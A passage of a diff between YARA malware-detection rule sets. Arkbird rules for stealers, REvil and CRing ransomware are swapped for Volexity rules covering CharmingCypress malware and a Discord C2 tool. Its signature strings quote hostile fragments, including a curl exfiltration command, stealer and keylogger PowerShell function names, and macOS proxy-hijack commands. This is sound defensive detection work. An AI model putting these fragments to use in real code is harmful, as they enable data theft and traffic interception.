-		$s5 = { 5b 2b 5d 20 50 72 6f 63 65 73 73 20 6f 62 6a 65 63 74 20 28 45 50 52 4f 43 45 53 53 29 20 66 6f 75 6e 64 2c 20 30 78 25 6c 6c 58 0d 0a 00 00 00 5b 2b 5d 20 45 50 52 4f 43 45 53 53 2d 3e 50 53 5f 50 52 4f 54 45 43 54 49 4f 4e 2c 20 30 78 25 6c 6c 58 }
-		$s6 = { 48 8b 4e 20 41 b9 00 08 00 00 4d 8b c7 49 8b d5 41 ff 54 24 70 85 c0 75 09 48 8d 15 [2] 02 00 eb 49 48 8d 0d [2] 02 00 e8 b9 ef ff ff 48 8d 0d [2] 02 00 e8 ad ef ff ff 4c 8d 85 f0 02 00 00 ba 00 00 00 c0 48 8d 0d [2] 02 00 e8 [2] 00 00 ba d0 07 00 00 49 8b ce ff 15 [2] 01 00 85 c0 74 15 48 8d 15 [2] 02 00 b9 01 00 00 00 e8 [2] 00 00 33 db eb 0b 48 8b d7 48 8b ce e8 4b f3 ff ff 49 8b ce ff 15 }
+		$s1 = "File is bigger than 8MB" wide ascii
+		$s2 = "Uploaded file to" wide ascii
+		$s3 = "sess-%d" wide ascii
+		$s4 = "Session *%s* opened" wide ascii
+		$s5 = "%s%d_%dx%d.png" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >10KB and all of ($s*)
+		4 of them
 }
-rule ARKBIRD_SOLG_Tool_Efspotatoe_Aug_2021_2 : FILE
+rule VOLEXITY_Malware_Golang_Discordc2_Bmdyy : FILE MEMORY
 {
 	meta:
-		description = "Detect EFSPotatoe tool (Generic rule)"
-		author = "Arkbird_SOLG"
-		id = "f40673da-7b16-5657-ba9a-f3f13034ad12"
-		date = "2021-08-27"
-		modified = "2021-08-29"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/Tool_EFSPotatoe_Aug_2021_2.yara#L1-L20"
-		license_url = "N/A"
-		logic_hash = "eedad68d3192908fea2109c7fa51a2e38e31ed666424307318ac2123b95d1cd3"
+		description = "Detects a opensource malware available on github using strings in the ELF. DISGOMOJI used by UTA0137 is based on this malware."
+		author = "threatintel@volexity.com"
+		id = "1ddbf476-ba2d-5cbb-ad95-38e0ae8db71b"
+		date = "2024-02-22"
+		modified = "2024-03-28"
+		reference = "https://github.com/bmdyy/discord-c2"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L243-L265"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "38b860a43b9937351f74b01983888f18ad101cbe66560feb7455d46b713eba0f"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "c372c54b11465688201e2d48ffd5fd5b0ca49360858a70ce8413f5c9e24c8050"
-		hash2 = "441cb0576151b2e5b5127be72a5bcdf3577a596f0a4e1f2c6836248fe07eb818"
-		hash3 = "47b85abee8a07e79ad95f48a3e3addf7235144b67b0350e2f9ac80e66f97e583"
-		hash4 = "7bcb25854ea2e5f0b8cfca7066a13bc8af8e7bac6693dea1cdad5ef193b052fd"
-		adversary = "-"
+		quality = 80
+		tags = "FILE, MEMORY"
+		hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529"
+		os = "all"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10264
+		version = 10
 
 	strings:
-		$s1 = { 5c 00 70 00 69 00 70 00 65 00 5c 00 6c 00 73 00 61 00 72 00 70 00 63 }
-		$s2 = "ncacn_np" fullword wide
-		$s3 = { 5c 00 5c 00 25 00 73 00 5c 00 [1-20] 00 5c 00 [1-20] 00 }
-		$s4 = { 63 00 36 00 38 00 31 00 64 00 34 00 38 00 38 00 2d 00 64 00 38 00 35 00 30 00 2d 00 31 00 31 00 64 00 30 00 2d 00 38 00 63 00 35 00 32 00 2d 00 30 00 30 00 63 00 30 00 34 00 66 00 64 00 39 00 30 00 66 00 37 00 65 }
-		$s5 = { 00 72 48 02 00 70 28 0e 00 00 0a 73 15 00 00 0a 6f 16 00 00 0a 28 0a 00 00 0a 28 06 00 00 0a 00 38 4a 02 00 00 }
+		$s1 = "**IP**: %s\n**User**: %s\n**Hostname**: %s\n**OS**: %s\n**CWD**" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >10KB and 4 of ($s*)
+		$s1
 }
-rule ARKBIRD_SOLG_MAL_Luna_Stealer_Apr_2021_1 : FILE
+import "hash"
+import "pe"
+
+rule VOLEXITY_Apt_Malware_Vbs_Basicstar : CHARMINGCYPRESS FILE MEMORY
 {
 	meta:
-		description = "Detect Luna stealer (also Mercurial Grabber)"
-		author = "Arkbird_SOLG"
-		id = "2fecce99-5869-5de0-afae-6dc245748fa6"
-		date = "2021-08-29"
-		modified = "2021-08-30"
-		reference = "https://github.com/NightfallGT/Mercurial-Grabber"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Luna/MAL_Luna_Stealer_Apr_2021_1.yara#L1-L22"
-		license_url = "N/A"
-		logic_hash = "934ded815c262fa8bee38638e17ed8c2b1f0dcad28037bf1d525e11bf7e34dce"
+		description = "VBS backdoor which bares architectural similarity to the POWERSTAR malware family."
+		author = "threatintel@volexity.com"
+		id = "e790defe-2bd5-5629-8420-ce8091483589"
+		date = "2024-01-04"
+		modified = "2024-01-11"
+		reference = "TIB-20240111"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-02-13 CharmingCypress/rules.yar#L64-L92"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "977bb42553bb6585c8d0e1e89675644720ca9abf294eccd797e20d4bca516810"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "a14918133b9b818fa2e8728faa075c4f173fa69abc424f39621d6aa1405f5a18"
-		hash2 = "93563f68975a858ff07f7eb91f4e0c997f0212d58b1755704d89fecd442d448f"
-		hash3 = "0521bb85472869598d9aa822b11edc04044dbe876dbf9900565bfdc8e02c2b21"
-		hash4 = "ce35eb5ba2f3f36b3d2742b33d3dbbe95f5ec6b93942ba20be4693528b163e3a"
-		tlp = "White"
-		adversary = "-"
+		quality = 80
+		tags = "CHARMINGCYPRESS, FILE, MEMORY"
+		hash1 = "c6f91e5585c2cbbb8d06b7f239e30b271f04393df4fb81815f6556fa4c793bb0"
+		os = "win"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10037
+		version = 4
 
 	strings:
-		$s1 = { 73 ?? 00 00 0a 0b 07 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 0a 6f ?? 00 00 0a 0c 08 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a 0d 09 6f ?? 00 00 0a 0a 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 06 28 ?? 00 00 0a de 0a 07 2c 06 07 6f ?? 00 00 0a dc de 1a 13 04 72 [2] 00 70 11 04 6f ?? 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a de 00 2a }
-		$s2 = { 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 0a 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 0b 02 06 72 [2] 00 70 07 28 ?? 00 00 0a 7d ?? 00 00 04 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 0c 02 72 [2] 00 70 02 7b ?? 00 00 04 72 [2] 00 70 08 28 ?? 00 00 0a 7d ?? 00 00 04 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 02 7b ?? 00 00 04 28 ?? 00 00 0a 1f 16 63 21 00 b0 ca a2 4a 01 00 00 58 0d 09 28 ?? 00 00 0a 13 05 12 05 28 ?? 00 00 0a 13 04 02 12 04 fe 16 ?? 00 00 01 6f ?? 00 00 0a 7d ?? 00 00 04 2a }
-		$s3 = { 72 [2] 00 70 73 ?? 00 00 0a 0a 06 6f ?? 00 00 0a 6f ?? 00 00 0a 0c 2b 75 08 6f ?? 00 00 0a 74 ?? 00 00 01 0b 07 72 [2] 00 70 6f ?? 00 00 0a 2c 16 02 07 72 [2] 00 70 6f ?? 00 00 0a 6f ?? 00 00 0a 7d ?? 00 00 04 07 72 [2] 00 70 6f ?? 00 00 0a 2c 16 02 07 72 [2] 00 70 6f ?? 00 00 0a 6f ?? 00 00 0a 7d ?? 00 00 04 07 72 ?? 19 00 70 6f ?? 00 00 0a 2c 16 02 07 72 ?? 19 00 70 6f ?? 00 00 0a 6f ?? 00 00 0a 7d ?? 00 00 04 08 6f ?? 00 00 0a 2d 83 de 0a 08 2c 06 08 6f ?? 00 00 0a dc 2a }
-		$x1 = "---------------- mercurial grabber ----------------" fullword wide
-		$x2 = { 5c 00 73 00 2a 00 3a 00 5c 00 73 00 2a 00 28 00 22 00 28 00 3f 00 3a 00 5c 00 5c 00 22 00 7c 00 5b 00 5e 00 22 00 5d 00 29 00 2a 00 3f }
-		$x3 = { 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 32 00 34 00 7d 00 5c 00 2e 00 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 36 00 7d 00 5c 00 2e 00 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 32 00 37 00 7d 00 01 1d 6d 00 66 00 61 00 5c 00 2e 00 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 38 00 34 00 7d }
+		$s1 = "Base64Encode(EncSess)" ascii wide
+		$s2 = "StrReverse(PlainSess)" ascii wide
+		$s3 = "ComDecode, \"Module\"" ascii wide
+		$s4 = "ComDecode, \"SetNewConfig\"" ascii wide
+		$s5 = "ComDecode, \"kill\"" ascii wide
+		$magic = "cmd /C start /MIN curl --ssl-no-revoke -s -d " ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >20KB and 2 of ($x*) and 2 of ($s*)
+		3 of ($s*) or $magic
 }
-rule ARKBIRD_SOLG_MAL_Cadelspy_Stealer_May_2021_1 : FILE
+import "hash"
+import "pe"
+
+rule VOLEXITY_Apt_Malware_Ps1_Powerless_B : CHARMINGCYPRESS FILE MEMORY
 {
 	meta:
-		description = "Detect Cadelspy stealer"
-		author = "Arkbird_SOLG"
-		id = "bac23ed9-f51c-546e-8f4e-320d33b51829"
-		date = "2021-05-30"
-		modified = "2021-06-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-30/APT39/MAL_Cadelspy_Stealer_May_2021_1.yara#L1-L24"
-		license_url = "N/A"
-		logic_hash = "29fade3703c55bd16e67f9bf126cb0d8a06bc0eafe10e145f8d57d8c4abe5656"
+		description = "Detects POWERLESS malware."
+		author = "threatintel@volexity.com"
+		id = "74dd8412-c099-5ecb-af97-c22fede14252"
+		date = "2023-10-25"
+		modified = "2023-11-03"
+		reference = "TIB-20231027"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-02-13 CharmingCypress/rules.yar#L93-L150"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "a95fe2c8d09d66e07a999eef3a5666cc622bbc063d747626c48b26cfecf35849"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "8847a73bbd9477be60685ce8ec8333db933892f4d7b729fcef01ac76600de9ff"
-		hash2 = "f3b0ad96c8529399bd7117bd67cdf0297191476d3a81a60b147960306ae5f068"
-		hash3 = "88c947d0d0fddd1ea87f5b85982cf231c9c56e4f5e25fac405f608a1c28d8391"
-		tlp = "White"
-		adversary = "APT39"
+		quality = 78
+		tags = "CHARMINGCYPRESS, FILE, MEMORY"
+		hash1 = "62de7abb39cf4c47ff120c7d765749696a03f4fa4e3e84c08712bb0484306ae1"
+		os = "win"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 9794
+		version = 4
 
 	strings:
-		$str1 = "C:\\Windows\\SysEvent.exe" fullword wide
-		$str2 = "\\sysprep\\sysprep.exe" fullword wide
-		$str3 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
-		$str4 = "@C:\\Windows\\systemw.dll" fullword wide
-		$str5 = "systemw.dll" fullword ascii
-		$str6 = "ApAshell32.dll" fullword wide
-		$seq1 = { 55 8b ec 83 ec 14 a1 04 00 41 00 33 c5 89 45 fc 8d 45 f8 c7 45 f0 00 00 00 00 50 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 68 20 02 00 00 6a 20 6a 02 8d 45 f0 66 c7 45 f4 00 05 50 ff 15 08 30 40 00 85 c0 74 25 8d 45 ec 50 ff 75 f8 6a 00 ff 15 04 30 40 00 ff 75 f8 f7 d8 1b c0 21 45 ec ff 15 00 30 40 00 83 7d ec 00 75 05 e8 52 fd ff ff 56 68 2d 02 00 00 ff 15 30 30 40 00 68 1c 33 40 00 ff 15 20 30 40 00 6a 00 6a 00 6a 01 6a 00 6a 00 6a 02 68 1c 33 40 00 89 45 f8 ff 15 1c 30 40 00 6a 00 8b f0 8d 45 f8 50 68 00 ba 00 00 68 68 33 40 00 56 ff 15 6c 30 40 00 56 ff 15 74 30 40 00 6a 01 6a 00 6a 00 68 1c 33 40 00 68 4c 33 40 00 6a 00 ff 15 b0 30 40 00 8b 4d fc 33 c0 33 cd 5e e8 06 00 00 00 }
-		$seq2 = { 8b 0d 10 32 40 00 0f 10 05 24 32 40 00 89 08 8b 0d 14 32 40 00 89 48 04 8b 0d 18 32 40 00 89 48 08 8b 0d 1c 32 40 00 89 48 0c 66 8b 0d 20 32 40 00 66 89 48 10 33 c9 a1 3c 32 40 00 0f 11 84 24 34 04 00 00 89 84 24 4c 04 00 00 f3 0f 7e 05 34 32 40 00 66 0f d6 84 24 44 04 00 00 0f 1f 40 00 0f b7 84 0c c8 0f 00 00 8d 49 02 66 89 84 0c 42 08 00 00 66 85 c0 75 e8 8d bc 24 44 08 00 00 83 c7 fe 66 8b 47 02 83 c7 02 66 85 c0 75 f4 b9 0a 00 00 00 be 40 32 40 00 f3 a5 b9 21 00 00 00 0f 10 05 58 33 40 00 66 a5 8d bc 24 54 0c 00 00 be 70 32 40 00 f3 a5 66 a5 0f 11 84 24 5c 0e 00 00 0f 10 05 78 ed 40 00 0f 11 84 24 6c 0e 00 00 0f 10 05 68 ed 40 00 0f 11 84 24 7c 0e 00 00 38 45 08 75 1f 8d 44 24 10 50 e8 23 fa ff ff 5f 5e 5b 8b 8c 24 c8 11 00 00 33 cc e8 1c 04 00 00 8b }
-		$seq3 = { 8b 84 b5 e4 d9 ff ff 85 c0 74 66 50 6a 00 68 ff ff 1f 00 ff 15 28 30 40 00 8b f8 85 ff 74 52 8d 85 dc d9 ff ff 50 6a 04 8d 85 d0 d9 ff ff 50 57 ff 15 64 30 40 00 85 c0 74 32 68 04 01 00 00 8d 85 ec fb ff ff 50 ff b5 d0 d9 ff ff 57 ff 15 34 30 40 00 8d 85 ec fb ff ff 68 f8 32 40 00 50 ff 15 38 31 40 00 83 c4 08 85 c0 74 21 57 ff d3 33 ff 8b 85 e0 d9 ff ff 46 c1 e8 02 8b cf 3b f0 0f 82 7b ff ff ff 85 c9 0f 84 43 01 00 00 68 04 01 00 00 8d 85 e4 f9 ff ff 50 6a 00 ff 15 3c 30 40 00 85 c0 0f 84 24 01 00 00 8d 85 f4 fd ff ff 50 68 04 01 00 00 ff 15 14 30 40 00 8d 85 f4 fd ff ff 50 6a 00 68 14 33 40 00 50 ff 15 60 30 40 00 6a 00 8d 85 f4 fd ff ff 50 8d 85 e4 f9 ff ff 50 ff 15 58 30 40 00 85 c0 0f 84 df 00 00 00 6a 00 6a 00 6a 03 6a 00 6a 00 68 00 00 00 c0 8d 85 f4 fd ff ff 50 ff 15 1c 30 40 00 8b f0 83 fe ff 0f 84 b8 00 00 00 6a 00 8d 85 d8 d9 ff ff 50 68 00 10 00 00 8d 85 e4 e9 ff ff 50 56 ff 15 78 30 40 00 85 }
+		$fun_1 = "function verifyClickStorke"
+		$fun_2 = "function ConvertTo-SHA256"
+		$fun_3 = "function Convert-Tobase" fullword
+		$fun_4 = "function Convert-Frombase" fullword
+		$fun_5 = "function Send-Httppacket"
+		$fun_6 = "function Generat-FetchCommand"
+		$fun_7 = "function Create-Fetchkey"
+		$fun_8 = "function Run-Uploader"
+		$fun_9 = "function Run-Shot" fullword
+		$fun_10 = "function ShotThis("
+		$fun_11 = "function File-Manager"
+		$fun_12 = "function zip-files"
+		$fun_13 = "function Run-Stealer"
+		$fun_14 = "function Run-Downloader"
+		$fun_15 = "function Run-Stro" fullword
+		$fun_16 = "function Run-Tele" fullword
+		$fun_17 = "function Run-Voice"
+		$s_1 = "if($commandtype -eq \"klg\")"
+		$s_2 = "$desrilizedrecievedcommand"
+		$s_3 = "$getAsyncKeyProto = @"
+		$s_4 = "$Global:BotId ="
+		$s_5 = "$targetCLSID = (Get-ScheduledTask | Where-Object TaskName -eq"
+		$s_6 = "$burl = \"$Global:HostAddress/"
+		$s_7 = "$hashString = [System.BitConverter]::ToString($hash).Replace('-','').ToLower()"
+		$s_8 = "$Global:UID = ((gwmi win32_computersystemproduct).uuid -replace '[^0-9a-z]').substring("
+		$s_9 = "$rawpacket = \"{`\"MId`\":`\"$Global:MachineID`\",`\"BotId`\":`\"$basebotid`\"}\""
+		$s_10 = "$bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height"
+		$s_12 = "Runned Without any Error"
+		$s_13 = "$commandresponse = (Invoke-Expression $instruction -ErrorAction Stop) | Out-String"
+		$s_14 = "Operation started successfuly"
+		$s_15 = "$t_path = (Get-WmiObject Win32_Process -Filter \"name = '$process'\" | Select-Object CommandLine).CommandLine"
+		$s_16 = "?{ $_.DisplayName -match \"Telegram Desktop\" } | %{$app_path += $_.InstallLocation }"
+		$s_17 = "$chlids = get-ChildItem $t -Recurse -Exclude \"$t\\tdata\\user_data\""
+		$s_18 = "if($FirsttimeFlag -eq $True)"
+		$s_19 = "Update-Conf -interval $inter -url $url -next_url $next -conf_path $conf_path -key $config_key"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >30KB and 5 of ($str*) and 2 of ($seq*)
+		3 of ($fun_*) or any of ($s_*)
 }
-rule ARKBIRD_SOLG_RAN_ELF_Revil_Jun_2021_1 : FILE
+import "hash"
+import "pe"
+
+rule VOLEXITY_Apt_Malware_Macos_Vpnclient_Cc_Oct23 : CHARMINGCYPRESS FILE MEMORY
 {
 	meta:
-		description = "Detect the ELF version of REvil ransomware"
-		author = "Arkbird_SOLG"
-		id = "b4b9d60e-a352-5045-8be3-e9a08d70ef6b"
-		date = "2021-06-28"
-		modified = "2021-06-29"
-		reference = "https://twitter.com/jaimeblascob/status/1409603887871500288"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-28/REvil/RAN_ELF_REvil_Jun_2021_1.yara#L1-L22"
-		license_url = "N/A"
-		logic_hash = "054bdb8362fdea2dc914b11387f6c67e35932acb73ba2b133ca29f69549914ba"
+		description = "Detection for fake macOS VPN client used by CharmingCypress."
+		author = "threatintel@volexity.com"
+		id = "e0957936-dc6e-5de6-bb23-d0ef61655029"
+		date = "2023-10-17"
+		modified = "2023-10-27"
+		reference = "TIB-20231027"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-02-13 CharmingCypress/rules.yar#L236-L261"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "da5e9be752648b072a9aaeed884b8e1729a14841e33ed6633a0aaae1f11bd139"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "3d375d0ead2b63168de86ca2649360d9dcff75b3e0ffa2cf1e50816ec92b3b7d"
-		hash2 = "d6762eff16452434ac1acc127f082906cc1ae5b0ff026d0d4fe725711db47763"
-		hash3 = "796800face046765bd79f267c56a6c93ee2800b76d7f38ad96e5acb92599fcd4"
-		hash4 = "ea1872b2835128e3cb49a0bc27e4727ca33c4e6eba1e80422db19b505f965bc4"
-		tlp = "White"
-		adversary = "RAAS"
+		quality = 80
+		tags = "CHARMINGCYPRESS, FILE, MEMORY"
+		hash1 = "11f0e38d9cf6e78f32fb2d3376badd47189b5c4456937cf382b8a574dc0d262d"
+		os = "darwin,linux"
+		os_arch = "all"
+		parent_hash = "31ca565dcbf77fec474b6dea07101f4dd6e70c1f58398eff65e2decab53a6f33"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 9770
+		version = 3
 
 	strings:
-		$seq1 = { 55 48 89 e5 48 83 c4 80 bf 04 20 00 00 e8 69 d5 ff ff 48 89 45 f8 ?? 8b 05 [2] 31 00 [0-4] 48 8b 3d [2] 31 00 48 8b 35 [2] 31 00 48 8b 0d [2] 31 00 4c 8b 0d [2] 31 00 4c 8b [2] 13 31 00 48 8b 15 ?? 13 31 00 48 8b 45 f8 4c 89 ?? 24 18 48 89 7c 24 10 48 89 74 24 08 48 89 0c 24 ?? 89 }
-		$seq2 = { 48 89 e5 bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff 8b 05 [2] 20 00 89 c6 bf [2] 41 00 b8 00 00 00 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff }
-		$seq3 = { 48 83 ec 20 c7 45 fc 00 00 00 00 eb 64 8b 45 fc 48 8b 14 c5 48 92 61 00 48 8b 05 ?? bd 20 00 48 89 c6 bf 40 93 61 00 b8 00 00 00 00 e8 ?? 3f ff ff 8b 45 fc 48 8b 04 c5 48 92 61 00 48 89 c6 bf [2] 41 00 b8 00 00 00 00 e8 ?? 3d ff ff be [2] 41 00 bf 40 93 61 00 e8 ?? 3e ff ff 48 89 45 f0 48 8b 45 f0 48 89 c7 e8 ?? 3d ff ff 83 45 fc 01 83 7d fc 00 74 96 48 8b 05 [2] 20 00 48 89 c7 e8 ?? 3c ff ff 48 8b 05 [2] 20 00 be [2] 41 00 48 89 c7 e8 ?? 3e ff ff 48 89 45 e8 48 8b 45 e8 48 89 c7 e8 ?? 3d ff ff c9 c3 55 48 89 e5 48 83 ec 20 48 89 7d e8 48 8b 45 e8 48 89 c7 e8 ?? 3c ff ff 89 c2 8b 05 ?? d0 30 00 01 d0 83 c0 01 89 c7 e8 ?? 91 ff ff 48 89 45 f8 48 8b 55 e8 48 8b 45 f8 48 89 d6 48 89 c7 e8 ?? 3c ff ff 48 8b 45 f8 48 c7 c1 ff ff ff ff 48 89 c2 b8 00 00 00 00 48 89 d7 f2 ae 48 89 c8 48 f7 d0 48 8d 50 ff 48 8b 45 f8 48 01 d0 66 c7 00 2f 00 48 8b 15 ?? cf 30 00 48 8b 45 f8 48 89 d6 48 89 c7 e8 ?? 3e ff ff 48 8b 45 f8 be [2] 41 00 48 89 c7 e8 ?? 3e ff ff 48 89 45 f0 48 83 7d f0 00 }
-		$seq4 = { 48 89 e5 48 83 ec 10 c7 45 fc 58 00 00 00 8b 45 fc 48 8d 55 f0 48 89 c6 bf 00 a5 71 00 e8 [2] 00 00 48 89 05 ?? 0b 31 00 48 8d 45 f0 48 89 c2 be 20 00 00 00 bf c0 a4 71 00 e8 [2] 00 00 48 89 05 [2] 31 00 b8 00 00 00 00 e8 b7 fd ff ff 48 89 05 [2] 31 00 48 8b 05 [2] 31 00 48 85 c0 74 09 48 8b 05 [2] 31 00 eb 05 b8 [2] 41 00 48 89 05 [2] 31 00 b8 00 00 00 00 e8 80 fe ff ff 48 89 05 [2] 31 00 48 8b 05 [2] 31 00 48 85 c0 74 09 48 8b 05 [2] 31 00 eb 05 b8 [2] 41 00 48 89 05 ?? 0a 31 00 48 c7 05 ?? 0a 31 00 [2] 41 00 e8 ?? f6 ff ff e8 f1 f7 ff ff b8 01 00 00 00 }
+		$s1 = "networksetup -setsocksfirewallproxystate wi-fi off" ascii
+		$s2 = "networksetup -setsocksfirewallproxy wi-fi ___serverAdd___ ___portNum___; networksetup -setsocksfirewallproxystate wi-fi on" ascii
+		$s3 = "New file imported successfully." ascii
+		$s4 = "Error in importing the File." ascii
 
 	condition:
-		uint32(0)==0x464c457f and filesize >50KB and 3 of ($seq*)
+		2 of ($s*)
 }
-rule ARKBIRD_SOLG_RAN_Cring_Apr_2021_1 : FILE
+import "hash"
+import "pe"
+
+rule VOLEXITY_Apt_Malware_Charmingcypress_Openvpn_Configuration : CHARMINGCYPRESS FILE
 {
 	meta:
-		description = "Detect CRing ransomware"
-		author = "Arkbird_SOLG"
-		id = "3648494d-8c27-5767-90e8-45e294aac382"
-		date = "2021-04-08"
-		modified = "2021-04-09"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-08/CRing/RAN_CRing_Apr_2021_1.yara#L1-L19"
-		license_url = "N/A"
-		logic_hash = "d82db146c9048391d79bda6cc5913363fc3cfc1a7cca26b23b362b7f3563ef3c"
-		score = 50
-		quality = 75
-		tags = "FILE"
-		hash1 = "274ef2fba8ba46187f9cf462a02de286ea23ec75d163af01088f6856944817eb"
-		hash2 = "f7d270ca0f2b4d21830787431f881cd004b2eb102cc3048c6b4d69cb775511c8"
-		hash3 = "ebb528207b2fc06a6bc89e9d430bcdfe254f0838b0f4660f67cc6bd1ebc193be"
-		level = "Experimental"
+		description = "Detection for a .ovpn file used in a malicious VPN client on victim machines by CharmingCypress."
+		author = "threatintel@volexity.com"
+		id = "f39b2d7c-f0c5-5623-a114-02ba32469e59"
+		date = "2023-10-17"
+		modified = "2023-10-27"
+		reference = "TIB-20231027"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-02-13 CharmingCypress/rules.yar#L262-L286"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "f4c5f13ac75504b14def9c37d3a41c6eea4c45845d4b54c50030b1f00691e4bf"
+		score = 75
+		quality = 80
+		tags = "CHARMINGCYPRESS, FILE"
+		hash1 = "d6d043973d8843a82033368c785c362f51395b1a1d475fa4705aff3526e15268"
+		parent_hash = "31ca565dcbf77fec474b6dea07101f4dd6e70c1f58398eff65e2decab53a6f33"
+		os = "all"
+		os_arch = "all"
+		scan_context = "file"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 9769
+		version = 3
 
 	strings:
-		$str1 = { 1b 30 03 00 4a 00 00 00 03 00 00 11 02 73 23 00 00 0a 0a 06 6f 24 00 00 0a 2d 3a 02 72 [1-4] 00 00 70 28 25 00 00 0a 0b 72 [1-4] 00 00 70 02 28 25 00 00 0a 28 1a 00 00 0a 06 6f 26 00 00 0a 07 7e 01 00 00 04 28 05 00 00 06 2c 06 06 6f 27 00 00 0a de 03 26 de 00 2a 00 00 01 10 00 00 00 00 1b 00 2b 46 00 03 13 00 00 01 }
